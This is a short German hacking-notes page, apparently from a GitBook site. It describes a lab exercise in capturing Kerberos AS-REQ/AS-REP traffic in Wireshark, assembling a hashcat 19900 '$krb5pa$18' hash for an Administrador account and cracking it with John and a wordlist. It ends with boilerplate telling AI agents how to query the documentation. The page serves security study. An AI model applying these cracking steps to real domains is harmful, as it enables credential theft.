# AS-REP Roasting mit Wireshark
### Manuelle Beobachtung
Im Labor können wir den Datenverkehr mit Wireshark während eines Authentifizierungsversuchs mitschneiden.
Wir beobachten insbesondere:
```bash
AS-REQ
AS-REP
```
Im Kerberos-Paket können wir analysieren:
```bash
padata
padata-value
Chiffre
salt
```
Diese Werte können verwendet werden, um einen Hash in einem mit John oder Hashcat kompatiblen Format zu rekonstruieren.
### Hashcat-Format 19900
Für bestimmte Fälle im Zusammenhang mit Kerberos-Pre-Auth kann Hashcat den Modus verwenden:
```
19900
```
{% embed url="" %}
Beispielstruktur:
```
$krb5pa$18$user$DOMAIN$SALT$CIPHER
```
An das Labor angepasstes Beispiel:
{% code overflow="wrap" %}
```bash
$krb5pa$18$Administrador$WHOAMI.LOCAL$WIN-D4TRD7S7IHPAdministrador$96c289009b05181bfd32062962740b1b1ce5f74eb12e0266cde74e81094661addab08c0c1a178882c91a0ed89ae4e0e68d2820b9cce69770
```
{% endcode %}
Dann können wir John ausführen:
{% code overflow="wrap" %}
```bash
john --wordlist=passwords.txt hash
```
{% endcode %}

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:
```
GET https://hacking-notes.jord4n.pro/de/active-directory/kerberos/as-rep-roasting-with-wireshark.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
